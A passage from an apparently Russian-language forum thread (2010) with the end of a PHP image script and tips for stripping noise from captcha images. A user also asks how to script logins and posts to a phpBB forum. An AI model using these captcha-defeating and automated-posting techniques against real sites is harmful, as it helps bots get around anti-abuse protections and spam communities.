header('Content-Type: image/gif');
imagegif($dest);

?>

Где 2.gif - существующая пикча размером с капчу
$sm - сколько близежащих пкселей заодно проверяется (1-4 лучше)
$best - цвет (300-900 тести сам)
Получается что-то вроде
http://img684.imageshack.us/img684/6337/123php.gif
Cпасибки :) ++

m0Hze
16.05.2010, 19:34
покажи код этой капчи?
Шум всегда идет под одним углом я так понимаю? Тогда просто в циклах проходимся по задонному углу, убираем группы пикселей, если рядом ниже со сдвигом(прав-лево) присутствует такой-же ромб. И так по всей плоскости. Ну это первое что в голову пришло :)

demko
16.05.2010, 21:22
Доброго времени. у меня небольшой вопрос, по постингу в phpBB , авторизацию вроде бы сделал, только надо разобраться с куками, далее встаёт уже вопрос поста, т.е. если я знаю тему топика и мне надо добавить пост , как быть?
HttpAnalyzerStdV3 смотрел что там получается, но там на переменные мало что похоже, поэтому хз какие параметры передавать форуму.
Хелп плз, мб подскажите скрипты или кто-то сталкивался с подобной проблемой